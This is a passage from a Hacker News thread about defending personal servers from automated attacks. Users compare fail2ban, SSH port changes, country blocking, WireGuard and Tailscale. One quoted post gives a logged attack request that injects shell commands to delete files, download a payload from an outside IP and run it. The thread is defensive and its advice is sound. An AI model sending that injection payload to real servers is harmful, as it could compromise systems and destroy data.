Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Who's Attacking My Server?

bastian.rieck.me

Post reply on HN
Print view View original

171–180 of 231 posts

Re: Who's Attacking My Server?

#171

Post by mrjin »

grog454 wrote: post #147
michaelcampbell wrote: post #126

Earlier quoted context omitted.

I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly ava…

Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily? Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords suffic…

The thing is there are so many attackers/rookies out there. I wouldn't call them hacker as they are most likely noob running scripts to scan the network. Just seconds after I exposed my server's SSH port, there were failed login attempts. I wasn't worried about someone breaking in as I've harden my server with all the patches, no password login allowed and the private key was on a YubiKey which I don't have it myself. So unless there was a 0-day I haven't patched, it's very unlikely someone else can actually gain access to it. From the logs I could see lots of failed logins using various user names/passwords most likely using a dictionary. Those nonsense soon flooded my logs and I eventually had to change the SSH port as I could not stand that any longer.

As you mentioned, simply ban couldn't help less. But anyway, their servers, their choices. I've no comment on that.

Re: Who's Attacking My Server?

#172

Post by mrjin »

walrus01 wrote: post #127
fuzzy2 wrote: post #74

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

this seems to presume that malicious things originating in china scanning/probing other peoples' IP ranges don't use proxies or rented VMs, or relay compromised hosts almost anywhere in the world, etc. all that banning chinese /16 or /12 size netblocks will do is cut down on the clutter in your logs, not actually accomplish anything. getting scanned and probed by peoples' automated tools looking for vulnerabel daemon…

IPs on the log files most likely are exit proxies if those attackers were not rookies. Simply change the SSH port only would deter 90% of those attempts per my personal experience.

Re: Who's Attacking My Server?

#173

Post by zaik »

jhgg wrote: post #157
zaik wrote: post #156

It's also worth noting that if an attacker knows how to spoof your IP address, they can lock you out of your own server.

Yeah? You can't really spoof TCP connections... unless you are talking about doing a BGP hijack. Can you elaborate more on this?

It's just something I read here: https://wiki.archlinux.org/title/Fail2ban#Tips_and_tricks

Maybe we can spoof both SYN and ACK and brute force/be lucky with the sequence numbers?

Re: Who's Attacking My Server?

#174

Post by prima-facie »

I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients.

Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from the network.

For Nginx most bogus requests come directly on the public IP. So you can set up a dummy/catch-all vhost which drops those. https://pastebin.com/MuWgyGGG

Re: Who's Attacking My Server?

#175

Post by ohyeshedid »

ganzuul wrote: post #37
ValtteriL wrote: post #17

"I am wondering whether it would be legal to try to automatically check for known exploits, in order to ‘p0wn’ the wannabe-attacker and disable their system instead." Absolutely illegal. Don't do that. Also, if your setup is enough at controlling the nuisance, why bother? -- Good work though, liked the visualization of attacker IP locations! Have you considered running at least SSH on nonstandard port?

What about hold your ground laws, or self defense? It may be time to consider these.

While ignoring the operators/carriers in between you and your target?

Re: Who's Attacking My Server?

#176

Post by fomine3 »

anderspitman wrote: post #133
pengaru wrote: post #60

Earlier quoted context omitted.

> I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS. All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.

It's the classic VPN vs BeyondCorps debate. Tailscale is awesome tech but since my focus is on sharing self-hosted services with others BeyondCorps makes more sense for me.

I believe Tailscale is basically intended to be installed in every machine that want to be connected (no subnet routing, like BeyondCorps). They also have subnet routing for convenience and to support non installable devices.

Re: Who's Attacking My Server?

#177

Post by victor106 »

michaelcampbell wrote: post #126
chockchocschoir wrote: post #78

Earlier quoted context omitted.

Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login? Your approach to security has a number of issues. First, you don't know if someone is actually…

I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly ava…

> It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.

Nailed it!!! I feel the same

Re: Who's Attacking My Server?

#178

Post by jakedata »

I use fail2ban on a server that is listening on a non-standard port.

I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled.

It was spooky as hell, but as things came back to something resembling normal, the background radiation started picking up again and I am back to 60-80 bans per day. I have a hell of a list of compromised IPs now.

Re: Who's Attacking My Server?

#179

Post by clowd »

bhch wrote: post #75
tptacek wrote: post #4

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…

httpd is the one service I don't use fail2ban for, preferring a DIY solution instead.

I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.

I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.

Re: Who's Attacking My Server?

#180

Post by 0xdeadb00f »

kortilla wrote: post #117
vngzs wrote: post #50

Earlier quoted context omitted.

Indeed. The author could have spent 15 minutes setting up Tailscale [0] and not expose any listening administration ports to the Internet at all. If they wanted to avoid using a hosted service, Wireguard alone is incredibly defensive against attackers who do not have access to the secret material. Tailscale basically just adds some NAT traversal [1] and OIDC login wrappers. [0]: https://tailscale.com/ [1]: https://ta…

You don’t add tailscale if you care about open source.

You can run your own self-hosted Tailscale control server with Headscale.
Post reply on HN